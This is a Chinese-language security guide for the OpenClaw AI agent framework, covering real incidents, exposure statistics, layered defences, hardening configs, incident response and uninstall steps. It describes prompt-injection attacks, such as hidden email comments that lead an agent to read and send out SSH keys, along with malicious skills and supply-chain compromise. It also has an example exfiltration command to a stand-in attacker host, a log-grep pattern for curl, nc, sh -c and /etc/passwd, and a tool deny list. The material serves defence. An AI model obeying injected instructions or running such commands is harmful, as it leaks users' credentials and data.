OpenClaw AI 智能体安全风险与综合防护指南 如果管不好龙虾,就先关龙虾——这篇指南会告诉你它为什么会失控,以及如何把它重新关回安全的笼子里。 本文将从 现实中的安全风险 出发,分析 AI Agent 在“上帝模式”权限下可能带来的问题,并介绍一套 三层防御架构 作为整体安全理念。在此基础上,给出一套可直接落地的 七步安全加固方案 。如果系统已经出现异常,还可以按照 应急响应流程 进行止损排查;在最极端情况下,也提供 完整卸载与凭证轮换 的清理方法,确保系统彻底恢复到安全状态。
如果管不好龙虾,就先关龙虾——这篇指南会告诉你它为什么会失控,以及如何把它重新关回安全的笼子里。

本文将从 现实中的安全风险 出发,分析 AI Agent 在“上帝模式”权限下可能带来的问题,并介绍一套 三层防御架构 作为整体安全理念。在此基础上,给出一套可直接落地的 七步安全加固方案 。如果系统已经出现异常,还可以按照 应急响应流程 进行止损排查;在最极端情况下,也提供 完整卸载与凭证轮换 的清理方法,确保系统彻底恢复到安全状态。
如果你只是想快速且安全地“溜龙虾”,这里有一个 省流版建议 :直接把它扔进云端服务器里隔离,日常千万别给它传任何高风险的机密文件,并且务必先装上 「Skill Vetter」插件,用它来扫描把关每一个新安装的 Skills,把风险直接掐死在摇篮里。
OpenClaw(曾用名 Clawdbot)是 2026 年初突然爆火的开源 AI Agent 框架。发布短短几周,它就在 GitHub 上拿到了 31 万 + Star ,迅速成为开发者社区的现象级项目。
很多人第一次接触它时,都会被它的能力震惊。因为默认状态下,OpenClaw 几乎拥有一整套完整的系统能力:
换句话说,它运行在一种接近 “上帝模式” 的权限状态。听起来很强,对吧。但问题也恰恰在这里。
当一个 AI Agent 同时拥有 文件系统、命令行和网络访问权限 时,如果没有清晰的安全边界,它就不只是一个工具,而更像是一只 可以到处乱爬的龙虾 。而在 OpenClaw 的默认设计里,这个边界其实是模糊的。

OpenClaw 的设计初衷是 灵活和强大 。因此在很多地方,它选择了一种非常典型的开源思路:
“默认信任用户会正确配置安全策略。”
但现实世界往往没有这么理想。在大量真实部署环境中,用户往往直接使用默认配置,这就导致了一系列潜在风险。例如:
这些配置单独看似乎问题不大。但当它们叠加在一起时,就相当于把一只能力很强的龙虾 直接放进了系统核心区域 。如果没有额外的限制,它可能比你想象的更“自由”。
如果这些风险只是理论问题,其实还不算严重。真正让安全社区开始警觉的,是 一系列已经发生的真实事件 。它们来自不同平台、不同研究团队,但指向同一个事实:AI Agent 一旦权限失控,后果可能比普通程序更难控制。
下面几个案例,就是目前最典型的例子。
| 案例 | 事件详情 | 后果 | 来源 |
|---|---|---|---|
| Meta Summer Yue 事件 | 2026.2.23,将 OpenClaw 连接工作邮箱整理收件箱,指示**"确认前不执行"** 。但 compaction 机制触发指令丢失,AI 无视停止命令,以"速度挑战"方式狂删邮件。当事人称"感觉像拆炸弹",跑向 Mac mini 手动终止 。 | 200+ 邮件被删除,手动杀进程止损 | TechCrunch(科技领域权威媒体) |
| SSH 私钥泄露研究 | 2026.1.9,CrowdStrike 发布概念验证:恶意邮件 HTML 注释隐藏注入指令→AI 处理时激活→读取~/.ssh/id_rsa 外发。成功原因:①默认访问主目录 ②注入隐藏在注释 ③AI 无法区分指令 ④无二次确认。 | 揭示AI 邮件助手普遍风险,OpenClaw 配置不当同样受影响 | CrowdStrike(原始研究报告发布方) |
| ClawHub 投毒事件 | 2026.2,数百恶意 Skills上架 ClawHub(Google 助手/加密货币追踪/GitHub 分析等热门工具)。恶意行为:窃取 API Key、监控剪贴板(针对加密货币钱包)、创建持久化后门、外发数据。 | 341-820+ 个恶意 Skills 被识别,数万用户受影响 | The Hacker News(网络安全领域权威媒体) |
| Cline 供应链攻击 | 2026.2.17,攻击者通过提示词注入攻陷 Cline CI/CD,在 cline@2.3.0 植入恶意代码→自动全局安装 OpenClaw 后台运行。利用被盗 npm 令牌发布,8 小时后才被下架。 | 4000+ 开发者被强制安装 OpenClaw | StepSecurity(事件首曝方) |
关键启示:这四个案例分别暴露了 指令丢失、提示词注入、供应链投毒、权限滥用 四类风险,对应本指南后续章节的防御措施。



随着 OpenClaw 的快速流行,越来越多的用户开始把它部署到真实环境中。
问题在于——很多部署 并没有进行任何安全加固 。
于是,一个新的安全问题开始出现: AI Agent 正在大规模暴露在公网。 根据 Bitdefender、The Register 和 Admin By Request 在 2026 年 2 月进行的联合扫描,全球范围内已经发现:
| 风险类型 | 数量 | 分布范围 | 风险等级 |
|---|---|---|---|
| 公网暴露实例 | 135,000+ | 82 个国家 | 严重 |
| RCE 漏洞实例 | 15,200+ | 无需认证即可利用 | 严重 |
| 已识别漏洞 | 512 个 | 高/中/低危 | 高危 |
| 恶意 Skills | 820+ | ClawHub 平台 | 高危 |
| 受影响用户 | 4,000+ | 仅 Cline 事件 | 高危 |
数据来源:暴露实例数据来自 Bitdefender / The Register;RCE 风险数据来自 runZero / Infosecurity Magazine;漏洞数量来自 arXiv / Kaspersky
这些数字的真正含义,其实只有一句话:很多龙虾已经被直接放进了公网鱼塘。而且还是开着权限的那种。


从地域来看,美国(28%)、中国(17%)、德国(9%)、英国(7%)、印度(6%)是暴露实例最多的五个国家;从行业来看,互联网与科技公司占比最高(41%),但金融、医疗和政府系统合计 26% 的暴露比例反而风险更高——因为这些系统往往涉及敏感个人信息与关键业务数据。简单说一句:很多龙虾已经被直接放进了公网,而且还是开着权限的那种。


当然,OpenClaw 本身并不是“危险的软件”,真正决定风险的,是 部署场景和权限边界 。在个人学习、公开数据分析或非核心业务自动化等环境中,它依然是非常高效的 AI Agent 工具;但在涉及 敏感凭证管理、核心生产系统、强合规场景或无人值守高权限任务 的环境里,直接部署 OpenClaw 往往意味着巨大的安全风险。
一个简单的判断原则是:如果这个系统出了问题会影响真实用户、资金或关键业务,那就不要让龙虾自己在里面到处爬。养虾可以,但要看鱼塘;有些地方适合养,有些地方连虾壳都不该带进去。养虾需谨慎,禁区莫触碰。
一句话总结 :只要在本地使用 OpenClaw 的开源版本就有风险,养虾需谨慎。
| 风险维度 | 主要风险 | 典型后果 | 防御要点 |
|---|---|---|---|
| 模型层 | 提示词注入、间接注入、提示词泄露 | 诱导执行危险操作、泄露安全机制 | 输入过滤、指令分离、人工确认 |
| 系统层 | 权限滥用、命令注入、沙箱逃逸 | 文件误删、系统被控、逃逸至主机 | 沙箱隔离、权限最小化、禁用 exec |
| 网络层 | WebSocket 劫持、Deep-Link 攻击、暴力破解 | 认证令牌窃取、远程代码执行(RCE) | 绑定 127.0.0.1、强制 token 认证 |
| 配置层 | 公网暴露、无认证、明文存储凭证 | 未授权访问、API Key 泄露 | 配置文件 600 权限、禁用公网绑定 |
| 供应链 | ClawHub 投毒、恶意 Skills、跨生态攻击 | 木马植入、凭证窃取、后门持久化 | 仅用官方 Skills、定期审查插件 |
| 数据层 | API Key 泄露、聊天记录窃取 | 敏感数据外泄、隐私曝光 | Outbox 模式、日志审计、凭证轮换 |
在 AI Agent 拥有系统级权限的情况下,单一防护措施往往不足以应对复杂攻击场景。因此,需要从 运行环境、执行过程与行为监控 三个层面建立分层防御体系。
防御理念:三层架构,层层递进。
环境层是底线 ——即使出事也不至于致命;
执行层是核心 ——关键操作必须有人把关;
监控层是保障 ——一旦出现异常,能够及时发现并追溯。
| 防御层级 | 核心目标 | 关键措施 |
|---|---|---|
| 环境层收敛影响范围 | 即使 AI 被攻陷,影响范围也限制在最小 | ① 网络边界:Gateway 只绑 127.0.0.1,禁绑 0.0.0.0② 身份权限:低权限账号运行,禁 root/Administrator③ 文件隔离:敏感数据与 Agent 工作区分开,启用 workspaceOnly |
| 执行层人机协同管控 | 关键操作必须有人工参与,AI 不能完全自主 | ① 默认人工确认:删除文件、外发邮件、安装 Skills、修改配置② 至少二次确认:批量改动(>10 个)、读取敏感目录(~/.ssh/)③ Stop 信号:确保能真正打断任务链,测试紧急停止功能 |
| 监控层全链路可回溯 | 所有 AI 行为都有记录,可审计、可追溯、可恢复 | ① 结构化日志:记录所有 Tool Call、文件访问、网络请求② Outbox 模式:外发内容先暂存本地队列,审核后发送③ Git 化备份:配置文件和记忆文件版本化,定期创建快照 |
理解风险只是第一步。
真正的问题是: 如果你已经在用 OpenClaw,该怎么把这只龙虾关进安全的笼子里? 下面是一套经过实践验证的 七步安全加固流程 。按顺序完成这些步骤,可以显著降低 OpenClaw 在真实环境中的安全风险。
原则 :未通过确认的步骤,严禁投入生产使用
系统说明:以下步骤区分 macOS/Linux 与 Windows,请根据你的系统选择对应命令。
配置文件位置 :本文所有配置文件均位于:
macOS/Linux:
~/.openclaw/openclaw.json
Windows:
C:\Users\你的用户名\.openclaw\openclaw.json
第一步:先确认你用的不是一个已经带漏洞的版本。
打开你的终端,输入以下指令:
macOS/Linux:
npm install -g openclaw@latest openclaw --version
Windows:
npm install -g openclaw@latest openclaw --version
gateway 配置项{ "gateway": { "bind": "loopback" } }
openclaw gateway restart)lsof -i :18789 # 应显示 127.0.0.1:18789,而非 0.0.0.0:18789
**Windows:**
netstat -ano | findstr :18789 # 应显示 127.0.0.1:18789,而非 0.0.0.0:18789
auth 配置项{ "auth": { "mode": "token" } }
token 字段openclaw gateway restart)openclaw doctor --generate-gateway-token # 或手动生成:openssl rand -hex 32
**Windows:**
openclaw doctor --generate-gateway-token # 或使用 PowerShell: # -join ((48..57) + (65..90) + (97..122) | Get-Random -Count 32 | ForEach-Object {[char]$_})
# 不带 token 访问 API 应返回 401 错误 curl http://127.0.0.1:18789/api/sessions # 应返回:401 Unauthorized
# 设置目录权限为 700(仅所有者可读写执行) chmod 700 ~/.openclaw/ # 设置配置文件权限为 600(仅所有者可读写) chmod 600 ~/.openclaw/openclaw.json # 确认权限 ls -la ~/.openclaw/
预期输出:
drwx------ (700)-rw------- (600).openclaw 文件夹 → 属性sandbox 配置项{ "sandbox": { "mode": "all" } }
openclaw gateway restart)openclaw security audit # 应显示沙箱已启用且配置正确
**Windows:**
openclaw security audit # 应显示沙箱已启用且配置正确
rm -rf 删除文件、curl http://攻击者.com 外发数据等危险操作。tools 配置项{ "tools": { "profile": "messaging", "deny": ["exec", "gateway", "cron", "config"] } }
错误:工具 exec 已被禁用
openclaw skills list
openclaw skills remove <skill-name>
openclaw skills list # 应只看到官方技能和已验证的第三方技能
即使做好了前面的安全加固,也不能完全排除意外情况。
如果发现 OpenClaw 出现异常行为,比如 CPU 突然飙升、文件被批量删除、API 账单异常增长 ,就需要立刻执行应急止损。先止血,再调查!
# 停止 Gateway 进程 killall openclaw killall node # 同时执行: # 1. 拔掉网线或关闭 Wi-Fi # 2. 不要先尝试"调查原因",先止损
Windows:
taskkill /F /IM openclaw.exe taskkill /F /IM node.exe
为什么需要这样做 :一旦攻击者获取了访问权限,最常见的下一步就是继续滥用 API 或窃取数据。因此需要 尽快封禁或重置所有相关凭证 。
目标 :重置所有 API Key,检查异常调用。
操作步骤 :
封禁或重置凭证 :
立即在大模型云平台重置 API Key(Anthropic/OpenAI/Google 等)
检查 API 使用情况和账单
设置使用限额告警
排查数据泄露 :
macOS/Linux:
# 检查.memory 文件夹 ls -la ~/.openclaw/memory/ cat ~/.openclaw/memory/*.md # 检查操作日志 tail -1000 ~/.openclaw/logs/*.log # 检查是否有异常外发 grep "http" ~/.openclaw/logs/*.log | grep -v "legitimate-domain.com"
Windows:
dir %USERPROFILE%\.openclaw\memory\ powershell -Command "Get-Content %USERPROFILE%\.openclaw\logs\*.log -Tail 1000"
openclaw security audit
确认 :系统运行正常,无异常行为。
在完成以上步骤之后,如果你仍然对系统完整性存在疑虑,最稳妥的办法其实只有一个:彻底卸载 OpenClaw,然后重新部署。
在某些情况下,比如发现严重安全问题、怀疑系统被劫持,或者只是单纯不再需要 OpenClaw,最安全的做法是 彻底卸载并清理所有相关数据 。
这个过程不仅包括删除程序本身,还需要:
换句话说:不仅要把龙虾拿走,还要把鱼塘清干净。
为什么需要这样做 :确保所有进程已终止。
目标 :停止所有 OpenClaw 相关进程。
操作步骤 :
配置文件位置:
macOS/Linux:~/.openclaw/
Windows:C:\Users\你的用户名\.openclaw\
macOS/Linux:
openclaw gateway stop killall openclaw killall node
Windows:
openclaw gateway stop taskkill /F /IM openclaw.exe taskkill /F /IM node.exe
# macOS/Linux ps aux | grep openclaw # 应无输出 # Windows tasklist | findstr openclaw # 应无输出
npm rm -g openclaw # 或 pnpm remove -g openclaw # 或 bun remove -g openclaw
Windows:
npm rm -g openclaw
openclaw --version # 应返回"command not found"
# 备份重要配置(可选) cp -r ~/.openclaw ~/.openclaw.backup # 删除工作目录和配置 rm -rf ~/.openclaw/ # 删除全局缓存 rm -rf ~/Library/Caches/openclaw # macOS rm -rf ~/.cache/openclaw # Linux
Windows:
rmdir /S /Q %USERPROFILE%\.openclaw rmdir /S /Q %APPDATA%\openclaw
# macOS/Linux ls -la ~/.openclaw/ # 应显示"No such file or directory" # Windows dir %USERPROFILE%\.openclaw\ # 应显示"找不到文件"
docker stop openclaw-safe && docker rm openclaw-safe docker rmi openclaw/openclaw:latest
docker ps -a | grep openclaw # 应无输出 docker images | grep openclaw # 应无输出
ls -la ~/.ssh/ ssh-keygen -t ed25519 -C "your_email@example.com"
ps aux | grep openclaw # 应无输出 lsof -i :18789 # 应无输出 ls -la ~/.openclaw/ # 应显示"No such file or directory" which openclaw # 应无输出
Windows:
tasklist | findstr openclaw # 应无输出 netstat -ano | findstr :18789 # 应无输出 dir %USERPROFILE%\.openclaw\ # 应显示"找不到文件" where openclaw # 应显示"找不到文件"
理解 OpenClaw 的权限模型,是正确配置安全策略的前提。
在默认设计中,OpenClaw 被赋予了接近 “上帝模式” 的系统能力——它可以访问文件系统、执行命令、调用网络服务,并管理自己的运行环境。这些能力让 AI Agent 非常强大,但如果缺乏限制,也可能带来严重风险。
因此在实际部署中,一个非常重要的原则是:只给 AI 必须的权限,不给多余的能力。
下面我们具体来看 OpenClaw 默认具备哪些权限,以及哪些需要重点管控。
| 权限类别 | 具体能力 | 风险等级 |
|---|---|---|
| 文件系统 | 读写/删除任意路径文件(受沙箱限制) | 高危 |
| 命令执行 | 执行任意 shell 命令(runtime.exec) |
高危 |
| 网络访问 | 访问任意 URL、调用 API、发送请求 | 中危 |
| 浏览器控制 | 通过 CDP 操控浏览器、截图、交互 | 中危 |
| 定时任务 | 创建 cron 任务后台执行(可持久化) | 中危 |
| 会话管理 | 创建/删除/修改会话历史 | 低危 |
| 配置修改 | 修改自身配置(包括关闭认证、修改绑定地址) | 高危 |
| 自我终止 | 可以停止/重启 Gateway 进程 | 高危 |
| 权限 | 潜在风险 | 管控建议 |
|---|---|---|
| 自我终止 | 可关闭自身服务,绕过监控和审计 | 如不需要,禁用 gateway工具 |
| 配置修改 | 可关闭认证、暴露服务到公网 | 禁用 config.apply/patch,或需人工审批 |
| 全盘访问 | 可读写工作区外文件,窃取敏感数据 | 启用 workspaceOnly: true,限制访问范围 |
| 命令执行 | 可执行任意系统命令,完全控制系统 | 设为 deny或所有执行需人工确认 |
| 定时任务 | 可创建持久化后门,长期潜伏 | 谨慎启用,定期审查 cron 任务列表 |
验证沙箱是否真正隔离 :
# 1. 检查工作区路径 ls -la ~/.openclaw/workspace/ # 2. 确认符号链接未指向外部 find ~/.openclaw/workspace/ -type l -exec ls -la {} \; # 3. 测试是否能访问工作区外文件 # 在 OpenClaw 中尝试读取 /etc/passwd 或其他系统文件 # 如果成功说明沙箱配置失效
危险信号 :
/etc/passwd、~/.ssh/ 等敏感文件根据使用场景选择权限 :
| 使用场景 | 建议权限配置 |
|---|---|
| 仅消息回复 | tools.profile: "messaging",禁用所有工具 |
| 文档整理 | 仅开放文件读写,禁用命令执行和网络访问 |
| 自动化测试 | 开放命令执行 + 定时任务,但需人工确认 |
| 数据分析 | 开放文件读写 + 网络访问,禁用命令执行 |
配置示例 :
// ~/.openclaw/openclaw.json { "tools": { "profile": "messaging", "fs": { "workspaceOnly": true }, "exec": { "security": "deny" }, // 或 "ask" 需确认 "deny": ["gateway", "cron"] // 禁用高危工具 } }
如果说权限控制是 预防问题 ,那么日志就是 事后还原真相的唯一线索 。
当怀疑 Agent 行为异常时,日志往往是判断系统是否被劫持、数据是否被外泄的关键依据。
但需要注意一点:不要完全相信 AI 自己生成的日志摘要。
在某些攻击场景中,攻击者甚至可能诱导 AI 输出 “一切正常” 的虚假信息。因此,日志审计必须结合:
下面是几个在实际排查中必须重点关注的日志类型。
fs.write、fs.delete、exec、browser.navigate# 在日志中搜索以下关键词 grep -E "rm |curl |wget |nc |bash |sh -c|/etc/passwd|\.ssh/" logs/*.log # 一旦发现 rm、curl http://未知 IP、del 等字眼,立刻阻断并调查
Windows:
:: 在日志中搜索以下关键词 findstr /R "rm curl wget nc bash sh -c /etc/passwd .ssh " logs\*.log :: 或使用 PowerShell powershell -Command "Select-String -Path 'logs\*.log' -Pattern 'rm |curl |wget |nc |bash'"
确认 :发现可疑命令立即调查。
[INFO] 一切正常,未执行任何敏感操作 [INFO] 文件完整性校验通过 [INFO] 网络连接均为合法请求
cat 或 tail 查看包含网页内容的原始日志!# 使用 cat -v 显示控制字符 cat -v logs/openclaw.log # 或使用专门的日志查看工具 less -R logs/openclaw.log # 最佳:使用日志管理系统查看
Windows:
:: 使用 type 命令查看(相对安全) type logs\openclaw.log :: 或使用 PowerShell(推荐) powershell -Command "Get-Content logs\openclaw.log -Head 100" :: 使用 more 命令分页查看 more logs\openclaw.log
~/.openclaw/logs/%USERPROFILE%\.openclaw\logs\ 或 C:\Users\你的用户名\.openclaw\logs\| 术语 | 解释 |
|---|---|
| OpenClaw | 开源 AI 智能体框架,曾用名 Clawdbot、Moltbot |
| Gateway | OpenClaw 的本地服务,负责与 AI 模型通信 |
| Skills | OpenClaw 的插件系统,扩展 AI 能力 |
| ClawHub | OpenClaw 官方技能市场 |
| 提示词注入 | 通过在输入中嵌入指令来操控 AI 行为 |
| RCE | Remote Code Execution,远程代码执行 |
| Outbox 模式 | 外发内容先暂存、审核后发送的模式 |
AI Agent 的能力正在快速增长。
当工具拥有越来越多系统权限时,安全边界也变得同样重要。
OpenClaw 本身并不是问题,问题在于我们如何使用它。
管得好,它是一只高效的生产工具;
管不好,就先关龙虾。